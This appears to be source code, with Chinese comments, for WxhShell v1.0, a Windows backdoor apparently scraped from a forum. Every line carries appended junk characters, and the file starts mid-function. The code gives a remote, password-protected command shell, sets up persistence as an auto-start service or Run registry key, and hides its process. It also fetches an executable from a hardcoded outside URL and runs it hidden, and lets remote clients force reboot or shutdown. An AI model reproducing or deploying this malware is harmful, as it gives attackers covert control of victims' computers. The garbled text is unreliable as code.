    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D{Jc+Q$  
    else { t"!8  
    closesocket(wsh); 3qV>TE]6,  
    ExitThread(0); !@]h@MC$7  
    } A<*tn?M]  
    break; iX9[Q0g=oQ  
    } "cz]bCr8  
  // 获取shell s/p>30Fg  
  case 's': { 9b=^"K  
    CmdShell(wsh); )oz-<zW  
    closesocket(wsh); e5:l6`  
    ExitThread(0); =O}%bZ)Q  
    break; 8zB+%mcF  
  } 5e~{7{  
  // 退出 #/ gme  
  case 'x': { )4o=t.O\K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,:Rq  
    CloseIt(wsh); V }r_   
    break; UU:QK{{E  
    } 0I ND9h. %  
  // 离开 4)>\rqF+v  
  case 'q': { *M**h-p2'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \Vhp B   
    closesocket(wsh); S92 !jp/  
    WSACleanup(); MM58w3Mz  
    exit(1); #VMBn}   
    break; $BO}D  
        } EF7|%N  
  } gWU(uBS  
  } 5GWM )vrZg  
d9e H}#OY  
  // 提示信息 e[VJ0 A=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nH3b<k;S  
} 0 S`b;f  
  } ;]`NR  
3Jk?)D y  
  return; :N'[d e  
} h}VYA\+<B  
l.W1$g  
// shell模块句柄 x.4)p6  
int CmdShell(SOCKET sock) ` a<|CcUGU  
{ (L6]uNOG  
STARTUPINFO si; W2o8Fu   
ZeroMemory(&si,sizeof(si)); `efH(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hcqmjqJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [2fiHE  
PROCESS_INFORMATION ProcessInfo; x@bl]Z(ne/  
char cmdline[]="cmd"; V~^6 TS(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DuC u6j  
  return 0; @OL3&R  
} MsiC!j.-  
Qre&N _  
// 自身启动模式 tZ{q\+h  
int StartFromService(void) |(8Hk@\CT>  
{ MH~qfH>K  
typedef struct `?S?)0B  
{ 5t1DB'K9$_  
  DWORD ExitStatus; B[m{2XzGH  
  DWORD PebBaseAddress; )^' B:ic  
  DWORD AffinityMask; moM&2rgdrQ  
  DWORD BasePriority; _/w-gL{  
  ULONG UniqueProcessId; a*wJcJTpV"  
  ULONG InheritedFromUniqueProcessId; x jUH<LFxy  
}   PROCESS_BASIC_INFORMATION; k~EPVJh"  
M&\?)yG  
PROCNTQSIP NtQueryInformationProcess; 8J(zWV7 r  
fyoB]{$p8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aZ:?(u]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2 n+XML  
(/P&;?j  
  HANDLE             hProcess; Bc@r*zb  
  PROCESS_BASIC_INFORMATION pbi; YV!V9   
oX]1>#5UMg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |"E9DD]{  
  if(NULL == hInst ) return 0; L}S4Zz18  
?kxWj(D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2B?i2[a,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2]3Jb{8FI>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JGNxJ S<]  
pxnUe1=  
  if (!NtQueryInformationProcess) return 0; 7;-i_&vws  
qN,FX#DP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qO3BQ]UF  
  if(!hProcess) return 0; ^E?V+3mV  
4 AmF^H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jHw2Q8s|R  
A-`J!xj#/  
  CloseHandle(hProcess); {EHG |  
=X'7V}Q}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w3cK: C0  
if(hProcess==NULL) return 0; "}aM*(l+\  
_!p$47  
HMODULE hMod; :Ty*i  
char procName[255]; +&8Ud8Q  
unsigned long cbNeeded; '9Odw@tp  
<%JO 3E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,%G2>PBt  
LsZ!':LN  
  CloseHandle(hProcess); 3kQ8*S  
*K^O oS  
if(strstr(procName,"services")) return 1; // 以服务启动 #]/T9:  
Ca"+t lO  
  return 0; // 注册表启动 S&) >w5*]U  
} O!+5As  
* CGdfdxW  
// 主模块 x#VUEu]8  
int StartWxhshell(LPSTR lpCmdLine) :%oj'm44!  
{ VIdoT2  
  SOCKET wsl; &bgi0)>  
BOOL val=TRUE; 'n#S6.Y:  
  int port=0; 5VoiDM=\c  
  struct sockaddr_in door; % x;!s=U  
G")EE#W$}  
  if(wscfg.ws_autoins) Install(); 5&Kn #  
ho$%7mc  
port=atoi(lpCmdLine); G QBN-Qv  
jz:c)C&/  
if(port<=0) port=wscfg.ws_port; ryLNMh  
g'7hc~=  
  WSADATA data; { 4{{;   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O!Cu.9}  
(,y/nc=GN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xTJ5VgG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?^ 5*[H  
  door.sin_family = AF_INET; s hvcc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l<%~w U  
  door.sin_port = htons(port); <s3(   
n{ WJ.Y*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9?,.zc^  
closesocket(wsl); z5'nS&x  
return 1; {# _C  
} f+~!s 2uw  
eakIK+-21y  
  if(listen(wsl,2) == INVALID_SOCKET) { !jnIXvT1qy  
closesocket(wsl); PdBhX  
return 1; L4Y3\4xXO  
} )B4c;O4t  
  Wxhshell(wsl); =nZd"t'p|  
  WSACleanup(); >g2.z>  
JAlsc]XtO9  
return 0; 74Wg@! P  
Wy )g449  
} <ft9B05*  
[&V%rhi  
// 以NT服务方式启动 S6X<3L`FfH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Rx-i.EtZ  
{ zD-8#H35X"  
DWORD   status = 0; +N_%|!F-c  
  DWORD   specificError = 0xfffffff; 'A2"&6m)28  
_8`;Xgp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %n,bPa>T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1 R9/AP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1 to<at-NN  
  serviceStatus.dwWin32ExitCode     = 0; ibw;BU  
  serviceStatus.dwServiceSpecificExitCode = 0; Jz'+@q6h  
  serviceStatus.dwCheckPoint       = 0; K 5[ 3WHQ  
  serviceStatus.dwWaitHint       = 0; bOKNWI   
h!GixN?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~C x2Q4E  
  if (hServiceStatusHandle==0) return; Tyl"N{ _  
KVy5/A/8c  
status = GetLastError(); D<6k AGE  
  if (status!=NO_ERROR) #::vMnT  
{ hZJqo +s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *X=-^\G  
    serviceStatus.dwCheckPoint       = 0; W7"sWaOhW  
    serviceStatus.dwWaitHint       = 0; !{;RtUPz*  
    serviceStatus.dwWin32ExitCode     = status; e[!>ezaIY  
    serviceStatus.dwServiceSpecificExitCode = specificError; eO G%6C%a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RVnYe='  
    return; o#6}?g.  
  } 6P|neb}  
oFp&j@`k8j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sAlgp2-  
  serviceStatus.dwCheckPoint       = 0; ztpb/9J9  
  serviceStatus.dwWaitHint       = 0; k]g\` gc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k({8C`&tK/  
} ,cEcMaJ  
gK#w$s50  
// 处理NT服务事件,比如:启动、停止 pC8i &_A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [Nc  Ok,  
{ Pme?`YO$x  
switch(fdwControl) 9Z 4R!Q  
{ i-b7  
case SERVICE_CONTROL_STOP: )`-]nMc  
  serviceStatus.dwWin32ExitCode = 0; DUr1s]+P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =T]OYk  
  serviceStatus.dwCheckPoint   = 0; ")OLmkC  
  serviceStatus.dwWaitHint     = 0; $ 1ZY Vw  
  { ]"6<"1)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gId+hxFa:r  
  } cpVi9]  
  return; }JsdgO&z  
case SERVICE_CONTROL_PAUSE: l!,{bOZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ls{fCi/2F  
  break; jFfki.H  
case SERVICE_CONTROL_CONTINUE: swrd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M-gjS6c\3  
  break; 8>9+w/DL  
case SERVICE_CONTROL_INTERROGATE: Ui&$/%Z|  
  break; X;NTz75  
}; %Z4=3?5B"9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~T~v*'_h  
} #v-!GK_<  
./'n2$^3  
// 标准应用程序主函数 !TF VBK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L')zuI  
{ kZNZ?A<D  
b&1@rE-  
// 获取操作系统版本 S)%x22sqf  
OsIsNt=GetOsVer(); t/g}cR^Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s-B\8&^C  
X'm2uOEj  
  // 从命令行安装 8h97~$7)  
  if(strpbrk(lpCmdLine,"iI")) Install(); Jk*MxlA.b  
9':$!Eoq  
  // 下载执行文件 T2{+fR v N  
if(wscfg.ws_downexe) { Cn<x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?x97 q3I+]  
  WinExec(wscfg.ws_filenam,SW_HIDE); K~]jXo^M  
} jo~Pr  
`upNP/,  
if(!OsIsNt) { k s}o9[D3  
// 如果时win9x,隐藏进程并且设置为注册表启动 51vK>  
HideProc(); :y)'qv[  
StartWxhshell(lpCmdLine); PR+!CFi&  
} )-@EUN0E>5  
else *)<tyIHd  
  if(StartFromService()) ]O."M"B  
  // 以服务方式启动 kokkZd7!  
  StartServiceCtrlDispatcher(DispatchTable); Ou^dI  
else U VT8TN-T  
  // 普通方式启动 x-<dJ}`  
  StartWxhshell(lpCmdLine); qJ@?[|2R  
$H^6I8>  
return 0; ,o)MiR9-[A  
} ,n*.Yq  
5kF5`5+Vj  
t>xV]W<  
iYf4 /1IG,  
=========================================== FyEl@ }W  
C6n4OU  
N5\<w>  
Li2)~4p><  
|1D`v9  
nC rNZ&P  
" 9M<? *8)  
VsC]z, oV  
#include <stdio.h> <Yc:,CU  
#include <string.h> zP9 !fA  
#include <windows.h> zkMQ= ,[  
#include <winsock2.h> m"*:XfOL  
#include <winsvc.h> RY'y%6Z]ZO  
#include <urlmon.h> R|suBF3  
jhLh~. 8  
#pragma comment (lib, "Ws2_32.lib") pGIeW}2'9  
#pragma comment (lib, "urlmon.lib") zin ,yJ  
61'7b`:(hi  
#define MAX_USER   100 // 最大客户端连接数 ?,j:Y0l.L  
#define BUF_SOCK   200 // sock buffer !4E:IM63  
#define KEY_BUFF   255 // 输入 buffer <7GK *I  
jK=[   
#define REBOOT     0   // 重启 v!,O7XGH~  
#define SHUTDOWN   1   // 关机 XP7A.I#q0  
2B4c :jJ  
#define DEF_PORT   5000 // 监听端口 &eg,*K}'  
z+b~#f3  
#define REG_LEN     16   // 注册表键长度 181P;R=}<  
#define SVC_LEN     80   // NT服务名长度 t`AD9 H"\!  
^6*? a9jO>  
// 从dll定义API CqoL5qt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J.<m@\U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j- A|\:   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '.=Z2O3p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g=pDC+  
/Yh8r1^2tZ  
// wxhshell配置信息 % Y @3)  
struct WSCFG { *%O1d.,  
  int ws_port;         // 监听端口 (:\hor%  
  char ws_passstr[REG_LEN]; // 口令 6-3l6q  
  int ws_autoins;       // 安装标记, 1=yes 0=no \; 3r  
  char ws_regname[REG_LEN]; // 注册表键名 L,WK L.  
  char ws_svcname[REG_LEN]; // 服务名 =4zsAa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HiC\U%We  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rLwc=(|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ; H3kb +  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #'T|,xIr-Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /$n${M5!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1Jahu!c?  
$\bH 5|Hk]  
}; @:[/uqL  
nXN0~,+  
// default Wxhshell configuration eYagI  
struct WSCFG wscfg={DEF_PORT, I$Z"o9"  
    "xuhuanlingzhe", +|.#<]GA  
    1, {b?)|@)is  
    "Wxhshell", /EC m  
    "Wxhshell", -l\@50, D  
            "WxhShell Service", zm e:U![  
    "Wrsky Windows CmdShell Service", 0h7\zoZ5  
    "Please Input Your Password: ", ESO(~X+  
  1, IQM!dC  
  "http://www.wrsky.com/wxhshell.exe", Cxh9rUe.  
  "Wxhshell.exe" V><P`  
    }; HV sIbQS  
+LUL-d  
// 消息定义模块 6?_Uow}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0`x<sjG\q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g9gyWz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b,c vQD  
char *msg_ws_ext="\n\rExit."; L$b9|j7  
char *msg_ws_end="\n\rQuit."; !O5UE  
char *msg_ws_boot="\n\rReboot..."; .,c8cq?  
char *msg_ws_poff="\n\rShutdown..."; _uBf.Qfs  
char *msg_ws_down="\n\rSave to "; !yxb<  
a%AU9?/q#  
char *msg_ws_err="\n\rErr!"; "-hgeQX  
char *msg_ws_ok="\n\rOK!"; tly:$;K  
PH]q#/'  
char ExeFile[MAX_PATH]; b#P8Je`;9  
int nUser = 0; `mMD e  
HANDLE handles[MAX_USER]; /`1zkBj<&  
int OsIsNt; 3{%/1>+x5  
D\k);BU~  
SERVICE_STATUS       serviceStatus; H(pOR< `  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0trFLX  
';1 c  
// 函数声明 UpgOU.  
int Install(void); nyIb8=f  
int Uninstall(void); n\ IVpgP  
int DownloadFile(char *sURL, SOCKET wsh); YB 4R8}4  
int Boot(int flag); T1x$v,)8x  
void HideProc(void); F;zmq%rK  
int GetOsVer(void); tHGK<rb  
int Wxhshell(SOCKET wsl); =3}+f-6"'  
void TalkWithClient(void *cs); Dk4Wj"LS  
int CmdShell(SOCKET sock); ZK13[_@9  
int StartFromService(void); Z?GC+hG`  
int StartWxhshell(LPSTR lpCmdLine);  hP7nt  
<q!{<(:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >uQ!B/C!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9u:MF0:W  
z` sH  
// 数据结构和表定义 74KFsir@  
SERVICE_TABLE_ENTRY DispatchTable[] = )X@(>b{  
{ wHAh6lm  
{wscfg.ws_svcname, NTServiceMain}, ]Rw,5\0  
{NULL, NULL} k<:!^_3H  
}; D`LwW` 9  
b~\![HoCMM  
// 自我安装 _r ajm J  
int Install(void) :dK%=j*ZK  
{ Pd3t~1TaW  
  char svExeFile[MAX_PATH]; N8KHNTb-M  
  HKEY key; wo*/{KFvh  
  strcpy(svExeFile,ExeFile); @50Js3R1q  
i3kI{8h  
// 如果是win9x系统,修改注册表设为自启动  ztTpMj  
if(!OsIsNt) { xOkf 9k_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E&97;VH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !Zs;m`j&9  
  RegCloseKey(key); \>\w-ty[(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { onjTuZ^h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \,?yj  
  RegCloseKey(key); o77HRX  
  return 0; < *XC`Ii  
    } 9J>DLvl;  
  } +oyc9PoXF  
} %~6+=*(\  
else { p>MX}^6  
ncWASw`  
// 如果是NT以上系统,安装为系统服务 H\O|Y@uVr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1XSqgr"3  
if (schSCManager!=0) V-jo2+Y5=  
{ p HWol!  
  SC_HANDLE schService = CreateService Uqkh@-6-  
  ( BG'gk#J+f  
  schSCManager, %``FIv15w  
  wscfg.ws_svcname, <H$CCo  
  wscfg.ws_svcdisp, ']qC,;2  
  SERVICE_ALL_ACCESS, 2)U3/TNe  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KYlWV<sR  
  SERVICE_AUTO_START, ag] nVE/  
  SERVICE_ERROR_NORMAL,  R z[-  
  svExeFile, ~M <4HC  
  NULL, 7C&`i}/t  
  NULL, #!<x|N?_<  
  NULL, u'=#~'6  
  NULL, SK-|O9Ki  
  NULL q6osRK*20  
  ); K7CiICe  
  if (schService!=0) xvgIYc{  
  { N'^ 0:zK:  
  CloseServiceHandle(schService); [V1gj9t=,  
  CloseServiceHandle(schSCManager); YrB-;R 1+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >(\[$  
  strcat(svExeFile,wscfg.ws_svcname); ZkqC1u3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ka]n+"~==\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y{kXd1,  
  RegCloseKey(key); (2%C% #]8  
  return 0; O *jNeYA  
    } p4t(xm2T  
  } | WDX@Q  
  CloseServiceHandle(schSCManager); #8[,w.X  
} %,>,J`  
} |FKo}>4  
v}iJ :'  
return 1; /Fk0j_b  
} 'W$qi@f_s  
(L~3nN;rr  
// 自我卸载 NeNKOW#X  
int Uninstall(void) X_=oJi|:  
{ +[z(N  
  HKEY key; jP+4'O!s[  
;&[0 h)  
if(!OsIsNt) { "b2Mk-qP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 89WuxCFS  
  RegDeleteValue(key,wscfg.ws_regname); !N!M NsyDz  
  RegCloseKey(key); m V^dIm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !WbQ`]uN/#  
  RegDeleteValue(key,wscfg.ws_regname); Th"7p:SE?  
  RegCloseKey(key); r"rEVx#1=  
  return 0; ,E/vHI8  
  } F*Qw%  
} 5ptbz<Xv  
} {5*+  
else { N\H(AzMw  
K<N0%c~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D@\97t+  
if (schSCManager!=0) o6{XT.z5qx  
{ c5Offnq'1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9N9|hy  
  if (schService!=0) hf%W grO.  
  { ib& |271gG  
  if(DeleteService(schService)!=0) { ti'OjoJL  
  CloseServiceHandle(schService); &M<431y  
  CloseServiceHandle(schSCManager); 1f~_# EIC  
  return 0; `7'(U)x,F  
  } 9#_49euy|P  
  CloseServiceHandle(schService); QI!:+8  
  } #`?uV)(  
  CloseServiceHandle(schSCManager); j^LnHVHk1  
} {qj>  
} n NAJ8z}Nt  
}LE.kd&  
return 1; Ws(BouJ  
} iPE-j#|  
0k3^+#J  
// 从指定url下载文件 v^KJU +  
int DownloadFile(char *sURL, SOCKET wsh) kV-a'"W5  
{ R$PiF1ffj  
  HRESULT hr; bv|v9_i  
char seps[]= "/"; CVu'uyy  
char *token; @ '<lD*W  
char *file; ULsz<Hj  
char myURL[MAX_PATH]; ~PS%^zxyn  
char myFILE[MAX_PATH]; Oi7:J> [  
M8 ++JI  
strcpy(myURL,sURL); a)} ?rzT]  
  token=strtok(myURL,seps); "zm.jNn  
  while(token!=NULL) {%~Sbcq4F  
  { bp5hS/A^1w  
    file=token; mA{gj[@:x  
  token=strtok(NULL,seps); na%9E8;:&v  
  } pW!]  
x37r{$2  
GetCurrentDirectory(MAX_PATH,myFILE); zYH6+!VBH#  
strcat(myFILE, "\\"); UIzk-.<  
strcat(myFILE, file); _{T`ka  
  send(wsh,myFILE,strlen(myFILE),0); $k}+,tHtJO  
send(wsh,"...",3,0); YMz[je  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _"z#I CT(  
  if(hr==S_OK) :Rq@%rL  
return 0; & yw-y4 =  
else =axi0q?}  
return 1; S0kH/A  
_pk=IHGsB  
} ,![C8il,  
JB* *z00;  
// 系统电源模块 y:pypuwt;  
int Boot(int flag) Be?mIwc_g  
{ ,P5HR+h  
  HANDLE hToken; yUBic~S  
  TOKEN_PRIVILEGES tkp; 6`%}s3Xq  
+}z T][9w  
  if(OsIsNt) { ~l.]3wyk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QULrE+@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4yjAi@ /2  
    tkp.PrivilegeCount = 1; _3ZZ-=J:=*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'L=g(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E-n!3RQ(w  
if(flag==REBOOT) { >oLM2VJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c-`&e-~XKL  
  return 0; Br-bUoua  
} >iaZGXje  
else { hLO nX<%a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]_5C5m  
  return 0; |h8C}P&Z  
} m|e!1_ :H  
  } D*_ F@}=  
  else { E&]S No<  
if(flag==REBOOT) { :90DS_4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $g 5pKk  
  return 0; *:)#'cenI  
} gl00$}C  
else { _U'edK]R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `s@1'IG;R_  
  return 0; qAkx52v6  
} _es>G'S  
} Cf8(J k`v|  
YW>|gE  
return 1; 4dl?US[-  
} J6\<>5 A?  
MI<hShc\  
// win9x进程隐藏模块 {hVSVx8ZL  
void HideProc(void) <9B43  
{ Vs m06Rj{  
rt t?4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3Qn! `  
  if ( hKernel != NULL ) b abDLaC@  
  { <@e6zQG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0^tF_."Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k|a{ |2p  
    FreeLibrary(hKernel); )p ,-TtV  
  } hoeOdWI pf  
i^="*t\i  
return; /C_O/N  
} ;LthdY()n(  
&`t-[5O\  
// 获取操作系统版本 C+O`3wPZp  
int GetOsVer(void) nn5S7!  
{ B.|2w  
  OSVERSIONINFO winfo; 4Uz6*IQNl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (\#j3Y)r  
  GetVersionEx(&winfo); dzggl(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rJD>]3D5p  
  return 1; V?5QpBK I  
  else gXs@FhR0  
  return 0; u=k\]W-  
} G;wv.|\  
vg *+>lbA  
// 客户端句柄模块 et/mfzV  
int Wxhshell(SOCKET wsl) 2{#*z%|z  
{ m6aoh^I  
  SOCKET wsh; -mcLT@  
  struct sockaddr_in client; Po93&qE  
  DWORD myID; $;"@;Lj%,  
,_P(!7Z8  
  while(nUser<MAX_USER) ml\7JW6Rx  
{ vAU^<$D27  
  int nSize=sizeof(client); >TwOL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~r&Q\G  
  if(wsh==INVALID_SOCKET) return 1; "fS9Nx3  
_U/etlDTO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2-UZ|y  
if(handles[nUser]==0) @q[-,EA9  
  closesocket(wsh); KiH#*u S  
else gO_^{>2  
  nUser++; R0-ARq#0<  
  } fJC)>doM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *s;$`8fM<  
024*IoVZ  
  return 0; c$@,*c 0n  
} nr-VzF7zu  
1b* dC;<  
// 关闭 socket +xFtGF)  
void CloseIt(SOCKET wsh) OjyS ?YY)b  
{ 5#q ^lL  
closesocket(wsh); GsE?<3  
nUser--; F_\\n#bv  
ExitThread(0); tgc&DT; E  
} &A=d7ASN=  
uqX"^dn4u  
// 客户端请求句柄 <f8@Qij  
void TalkWithClient(void *cs) W  $H8[G  
{ ]N2'L!4|;  
uh`~K6&*\w  
  SOCKET wsh=(SOCKET)cs; #d(6q$IE  
  char pwd[SVC_LEN]; XlDVJx<&J  
  char cmd[KEY_BUFF]; # |w,^tV  
char chr[1]; rx|/]NE;  
int i,j; JnV$)EYi  
",Ek| z  
  while (nUser < MAX_USER) { JI@~FD&  
tj{rSg7{  
if(wscfg.ws_passstr) { >Py;6K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I`DdhMi7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tAbIT;>  
  //ZeroMemory(pwd,KEY_BUFF); si%f.A#  
      i=0; g)u2  
  while(i<SVC_LEN) { z8vF QO\I"  
Xqf"Wx(X  
  // 设置超时 P^VV8Z>\&  
  fd_set FdRead; QF!K$?EU[  
  struct timeval TimeOut; Scxf5x-  
  FD_ZERO(&FdRead); Y2<Z"D`  
  FD_SET(wsh,&FdRead); LEHlfB#z`@  
  TimeOut.tv_sec=8; $P4hNb  
  TimeOut.tv_usec=0; .:l78>f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .Uha%~%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u&2uQ-T0  
[C P V5\2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hagj^8  
  pwd=chr[0]; P8z+ +h  
  if(chr[0]==0xd || chr[0]==0xa) { c\]h YKA  
  pwd=0; jk) V[7P  
  break; |VaXOdD`&  
  } oV,>u5:B  
  i++; j%~UU0(J  
    } N[dhNK"  
}*IX34  
  // 如果是非法用户,关闭 socket 'Kp|\T r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @2kt6 W  
} tv\P$|LV`8  
!\+SE"ml  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gHYYxhW$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /ExnW >wT  
W53i5u(  
while(1) { 0y2iS' t  
ikyvst>O  
  ZeroMemory(cmd,KEY_BUFF); AkT_ZU>  
m' z<d  
      // 自动支持客户端 telnet标准   #HM0s~^w&  
  j=0; ]5rEwPB  
  while(j<KEY_BUFF) { DV{Qbe#In  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EC?!%iO`  
  cmd[j]=chr[0]; sL+/Eeb` c  
  if(chr[0]==0xa || chr[0]==0xd) { %w' @:~0  
  cmd[j]=0; S WYiI  
  break; +!.=M8[  
  } {#Mz4s`M  
  j++; 5x4(5c5^  
    } @qg=lt|(F  
\HTXl]  
  // 下载文件 6i{W=$ RQ  
  if(strstr(cmd,"http://")) { aHwrFkn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lZ/Yp~2S  
  if(DownloadFile(cmd,wsh)) G)'cd D1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %8hhk]m\b>  
  else /$+ifiFT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Dw[n   
  } {.Nt#l  
  else { y;sr# -L  
0'RSl~QvqS  
    switch(cmd[0]) { 4*F+-fu  
  Ql [ =  
  // 帮助 1w1(FpQO.  
  case '?': { )CihqsA2  
